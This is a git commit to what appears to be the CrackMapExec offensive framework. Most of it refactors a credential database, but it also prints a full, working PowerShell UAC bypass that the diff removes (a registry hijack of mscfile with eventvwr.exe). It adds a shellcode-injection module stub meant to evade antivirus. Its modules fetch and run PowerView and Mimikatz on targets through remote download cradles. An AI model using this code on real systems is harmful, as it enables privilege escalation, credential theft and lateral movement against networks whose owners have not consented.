DB schema for the smb protocol is now final!

- added two more attributes to use in modules:opsec_safe and multiple_hosts

- renamed db function names

- Added the python_injector module and it's necessary files as a reminder
main
byt3bl33d3r 2016-12-20 00:23:40 -07:00
parent 9fefd167b0
commit 8e6cc4e899
15 changed files with 136 additions and 162 deletions

View File

@ -59,7 +59,7 @@ def gen_cli_args():
#mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
module_parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
module_parser.add_argument('--options', dest='module_options', action='store_true', help='Display module options')
module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='Display module options')
module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
module_parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')

View File

@ -8,6 +8,7 @@ from gevent.pool import Pool
from gevent import joinall
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
from cme.helpers.misc import gen_random_string
from cme.helpers.logger import highlight
from cme.targetparser import parse_targets
from cme.cli import gen_cli_args
from cme.loaders.protocol_loader import protocol_loader
@ -129,7 +130,7 @@ def main():
for m in modules:
logger.info('{:<25} {}'.format(m, modules[m]['description']))
elif args.module and args.module_options:
elif args.module and args.show_module_options:
modules = loader.get_modules()
for m in modules.keys():
@ -144,6 +145,14 @@ def main():
setattr(protocol_object, 'module', module)
break
if getattr(module, 'opsec_safe') is False:
ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n]', 'red'))
if ans.lower() == 'n' : sys.exit(1)
if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n]", 'red'))
if ans.lower() == 'n' : sys.exit(1)
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):

BIN
cme/data/7za.exe Normal file

Binary file not shown.

View File

@ -1,82 +0,0 @@
function Invoke-EventVwrBypass {
<#
.SYNOPSIS
Bypasses UAC by performing an image hijack on the .msc file extension
Expected to work on Win7, 8.1 and Win10
Only tested on Windows 7 and Windows 10
Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Command
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
.EXAMPLE
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
This will write out "Is Elevated: True" to C:\UACBypassTest.
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,
[Switch]
$Force
)
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
#Add in the new registry entries to hijack the msc file
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $mscCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}
if (Test-Path $mscCommandPath) {
Write-Verbose "Created registry entries to hijack the msc extension"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
#Start Event Viewer
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
$Process = Start-Process -FilePath $EventvwrPath -PassThru
Write-Verbose "Started eventvwr.exe"
}
#Sleep 5 seconds
Write-Verbose "Sleeping 5 seconds to trigger payload"
if (-not $PSBoundParameters['WhatIf']) {
Start-Sleep -Seconds 5
}
$mscfilePath = "HKCU:\Software\Classes\mscfile"
if (Test-Path $mscfilePath) {
#Remove the registry entry
Remove-Item $mscfilePath -Recurse -Force
Write-Verbose "Removed registry entries"
}
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
Stop-Process -Id $Process.Id
Write-Verbose "Killed running eventvwr process"
}
}

BIN
cme/data/python.zip Executable file

Binary file not shown.

View File

@ -32,6 +32,14 @@ class module_loader:
self.logger.error('{} missing the supported_protocols variable'.format(module_path))
module_error = True
elif not hasattr(module, 'opsec_safe'):
self.logger.error('{} missing the opsec_safe variable'.format(module_path))
module_error = True
elif not hasattr(module, 'multiple_hosts'):
self.logger.error('{} missing the multiple_hosts variable'.format(module_path))
module_error = True
elif not hasattr(module, 'options'):
self.logger.error('{} missing the options function'.format(module_path))
module_error = True

View File

@ -5,10 +5,10 @@ class CMEModule:
'''
name = 'example module'
description = 'I do something'
supported_protocols = []
opsec_safe= True #Does the module touch disk?
multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''

View File

@ -7,8 +7,12 @@ class CMEModule():
name = 'get_netdomaincontroller'
description = "Wrapper for PowerView's Get-NetDomainController"
supported_protocols = ['mssql', 'smb']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
'''
pass
def on_admin_login(self, context, connection):
@ -49,7 +53,7 @@ class CMEModule():
if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
hostname, domain, ip = filter(None, line.strip().split(' '))
#logging.debug('{} {} {}'.format(hostname, domain, ip))
context.db.add_host(ip, hostname, domain, '', dc=True)
context.db.add_computer(ip, hostname, domain, '', dc=True)
dc_count += 1
context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))

View File

@ -7,6 +7,8 @@ class CMEModule():
name = 'get_netgroup'
description = "Wrapper for PowerView's Get-NetGroup"
supported_protocols = ['mssql', 'smb']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
@ -21,11 +23,15 @@ class CMEModule():
if module_options and 'GROUPNAME' in module_options:
self.group_name = module_options['GROUPNAME']
elif module_options and 'USERNAME' in module_options:
self.user_name = module_options['USERNAME']
def on_admin_login(self, context, connection):
self.domain = connection.conn.getServerDomain()
command = 'Get-NetGroup | Out-String'
if self.group_name : command = 'Get-NetGroup -GroupName {} | Out-String'.format(self.group_name)
if self.user_name: command = 'Get-NetGroup -UserName {} | Out-String'.format(self.user_name)
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command)
ps_command = create_ps_command(launcher)
@ -60,7 +66,12 @@ class CMEModule():
context.log.info('Parsing output, please wait...')
buf = StringIO(data).readlines()
for line in buf:
context.db.add_group(self.domain, line.strip())
group_name = line.strip()
domain = self.domain
if self.user_name:
domain, group_name = line.strip().split('\\')
context.db.add_group(domain, group_name)
group_count += 1
context.log.success('Added {} groups to the database'.format(highlight(group_count)))
context.log.success('Added {} group(s) to the database'.format(highlight(group_count)))

View File

@ -12,10 +12,10 @@ class CMEModule:
'''
name = 'mimikatz'
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
supported_protocols = ['mssql', 'smb']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
@ -200,10 +200,10 @@ class CMEModule:
for cred_set in creds:
credtype, domain, username, password,_,_ = cred_set
#Get the hostid from the DB
hostid = context.db.get_hosts(response.client_address[0])[0][0]
hostid = context.db.get_computers(response.client_address[0])[0][0]
context.db.add_credential(credtype, domain, username, password, hostid)
context.log.success("Added {} credential(s) to the database".format(len(creds)))
context.log.success("Added {} credential(s) to the database".format(highlight(len(creds))))
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)

View File

@ -0,0 +1,25 @@
class CMEModule():
'''
TO DO
Idea stolen from Veil-Catapult/Veil-Pillage (https://github.com/Veil-Framework)
Uploads a barebones python environment to a host and uses it to execute shellcode.
This is awesome for hosts where Powershell is not installed, additionally all binaries that are uploaded are signed so AV solutions will not flag on them.
However it does touch disk.
'''
name = 'python_injector'
description = 'Uploads a barebones python environment and uses it to execute shellcode'
supported_protocols = ['smb']
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
'''
PATH Path to the raw shellcode to inject
'''
def on_admin_login(self, context, connection):
pass

View File

@ -111,7 +111,7 @@ class smb(connection):
if not self.domain:
self.domain = self.hostname
self.db.add_host(self.host, self.hostname, self.domain, self.server_os)
self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)
try:
'''
@ -148,7 +148,7 @@ class smb(connection):
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
self.db.add_admin_user('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
@ -189,7 +189,7 @@ class smb(connection):
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),

View File

@ -15,21 +15,15 @@ class database:
)''')
# type = hash, plaintext
db_conn.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"userid", integer,
"credtype" text,
"password" text,
"pillaged_from_computerid" integer,
FOREIGN KEY(userid) REFERENCES users(id),
FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id)
)''')
db_conn.execute('''CREATE TABLE "users" (
"id" integer PRIMARY KEY,
"domain" text,
"username" text,
"password" text,
"local" boolean,
"credtype" text,
"pillaged_from_computerid" integer,
FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id)
)''')
db_conn.execute('''CREATE TABLE "groups" (
@ -88,7 +82,7 @@ class database:
# cur.close()
def add_host(self, ip, hostname, domain, os, dc=False):
def add_computer(self, ip, hostname, domain, os, dc=False):
"""
Check if this host has already been added to the database, if not add it in.
"""
@ -102,33 +96,28 @@ class database:
cur.close()
def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False, userID=None):
def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False):
"""
Check if this credential has already been added to the database, if not add it in.
"""
self.add_user(domain, username, local)
cur = self.conn.cursor()
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=?", [domain, username, local])
cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=? and local=?", [credtype, domain, username, password, local])
results = cur.fetchall()
for user in results:
userid = user[0]
cur.execute("SELECT * from credentials WHERE userid=? AND credtype=? AND password=?", [userid, credtype, password])
results=cur.fetchall()
if not len(results):
cur.execute("INSERT INTO credentials (userid, credtype, password, pillaged_from_computerid) VALUES (?,?,?,?)", [userid, credtype, password, pillaged_from] )
if not len(results):
cur.execute("INSERT INTO users (domain, username, password, local, credtype, pillaged_from_computerid) VALUES (?,?,?,?,?,?)", [domain, username, password, local, credtype, pillaged_from] )
cur.close()
def add_user(self, domain, username, local=False):
cur = self.conn.cursor()
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) and LOWER(username)=LOWER(?) and local=(?)", [domain, username, local])
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=(?)", [domain, username, local])
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO users (domain, username, local) VALUES (?,?,?)", [domain, username, local])
cur.execute("INSERT INTO users (domain, username, password, local, credtype, pillaged_from_computerid) VALUES (?,?,?,?,?,?)", [domain, username, 'NULL', local, 'NULL', 'NULL'])
cur.close()
@ -161,12 +150,16 @@ class database:
cur.execute("DELETE FROM credentials WHERE id=?", [credID])
cur.close()
def add_admin_user(self, userid, host):
def add_admin_user(self, credtype, domain, username, password, host, local=False, userid=None):
cur = self.conn.cursor()
cur.execute("SELECT * FROM users WHERE userid=?", [userid])
users = cur.fetchall()
if userid:
cur.execute("SELECT * FROM users WHERE id=?", [userid])
users = cur.fetchall()
else:
cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=? and local=?", [credtype, domain, username, password, local])
users = cur.fetchall()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host])
hosts = cur.fetchall()
@ -218,7 +211,7 @@ class database:
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID])
cur.execute('SELECT * FROM users WHERE id=? AND password IS NOT NULL LIMIT 1', [credentialID])
results = cur.fetchall()
cur.close()
return len(results) > 0
@ -232,18 +225,18 @@ class database:
# if we're returning a single credential by ID
if self.is_credential_valid(filterTerm):
cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm])
cur.execute("SELECT * FROM users WHERE id=? AND password IS NOT NULL LIMIT 1", [filterTerm])
# if we're filtering by credtype
elif credtype:
cur.execute("SELECT * FROM credentials WHERE credtype=?", [credtype])
cur.execute("SELECT * FROM users WHERE credtype=? AND password IS NOT NULL", [credtype])
elif userID:
cur.execute("SELECT * FROM credentials WHERE userid=?", [userID])
cur.execute("SELECT * FROM users WHERE userid=? AND password IS NOT NULL", [userID])
# otherwise return all credentials
else:
cur.execute("SELECT * FROM credentials")
cur.execute("SELECT * FROM users WHERE password IS NOT NULL")
results = cur.fetchall()
cur.close()
@ -277,7 +270,7 @@ class database:
cur.close()
return results
def is_host_valid(self, hostID):
def is_computer_valid(self, hostID):
"""
Check if this host ID is valid.
"""
@ -287,7 +280,7 @@ class database:
cur.close()
return len(results) > 0
def get_hosts(self, filterTerm=None):
def get_computers(self, filterTerm=None):
"""
Return hosts from the database.
"""
@ -295,7 +288,7 @@ class database:
cur = self.conn.cursor()
# if we're returning a single host by ID
if self.is_host_valid(filterTerm):
if self.is_computer_valid(filterTerm):
cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm])
# if we're filtering by ip/hostname

View File

@ -28,18 +28,20 @@ class navigator(cmd.Cmd):
print " ------ -------- -------- ------ -------- --------"
for cred in creds:
# (id, credtype, domain, username, password, host, notes, sid)
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
links = self.db.get_links(credID=credID)
credID = cred[0]
domain = cred[1]
username = cred[2]
password = cred[3]
local = cred[4]
credtype = cred[5]
pillaged_from = cred[6]
links = self.db.get_admin_relations(userID=credID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<13}'.format(str(len(links)) + ' Host(s)'),
'{:<12}'.format(credType),
'{:<12}'.format(credtype),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
@ -48,14 +50,15 @@ class navigator(cmd.Cmd):
def display_groups(self, groups):
print '\nGroups:\n'
print " GroupID Name"
print " ------- ----"
print " GroupID Domain Name"
print " ------- ------ ----"
for group in groups:
groupID = group[0]
name = group[1]
domain = group[1]
name = group[2]
print u" {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(name))
print u" {} {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(domain), '{:<15}'.format(name))
print ""
@ -73,7 +76,7 @@ class navigator(cmd.Cmd):
domain = host[3]
os = host[4]
links = self.db.get_links(hostID=hostID)
links = self.db.get_admin_relations(hostID=hostID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
@ -184,8 +187,8 @@ class navigator(cmd.Cmd):
self.display_groups(groups)
elif len(groups) == 1:
print '\nGroup:\n'
print " GroupID Name"
print " ------- ----"
print " GroupID Domain Name"
print " ------- ------ ----"
for group in groups:
groupID = group[0]
@ -198,11 +201,11 @@ class navigator(cmd.Cmd):
filterTerm = line.strip()
if filterTerm == "":
hosts = self.db.get_hosts()
hosts = self.db.get_computers()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filterTerm=filterTerm)
hosts = self.db.get_computers(filterTerm=filterTerm)
if len(hosts) > 1:
self.display_hosts(hosts)
@ -237,7 +240,7 @@ class navigator(cmd.Cmd):
print " ------ -------- ------ -------- --------"
for hostID in hostIDList:
links = self.db.get_links(hostID=hostID)
links = self.db.get_admin_relations(hostID=hostID)
for link in links:
linkID, credID, hostID = link
@ -245,13 +248,15 @@ class navigator(cmd.Cmd):
for cred in creds:
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
domain = cred[1]
username = cred[2]
password = cred[3]
local = cred[4]
credtype = cred[5]
pillaged_from = cred[6]
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
'{:<12}'.format(credtype),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
@ -290,7 +295,7 @@ class navigator(cmd.Cmd):
return
else:
self.db.remove_credentials(args)
self.db.remove_links(credIDs=args)
self.db.remove_admin_relation(userIDs=args)
elif filterTerm.split()[0].lower() == "plaintext":
creds = self.db.get_credentials(credtype="plaintext")
@ -313,14 +318,15 @@ class navigator(cmd.Cmd):
credID = cred[0]
credIDList.append(credID)
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
pillaged_from = cred[5]
domain = cred[1]
username = cred[2]
password = cred[3]
local = cred[4]
credtype = cred[5]
pillaged_from = cred[6]
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
'{:<12}'.format(credtype),
'{:<22}'.format(pillaged_from),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
@ -334,11 +340,11 @@ class navigator(cmd.Cmd):
print " ------ -- -------- ------ --"
for credID in credIDList:
links = self.db.get_links(credID=credID)
links = self.db.get_admin_relations(userID=credID)
for link in links:
linkID, credID, hostID = link
hosts = self.db.get_hosts(hostID)
hosts = self.db.get_computers(hostID)
for host in hosts:
hostID = host[0]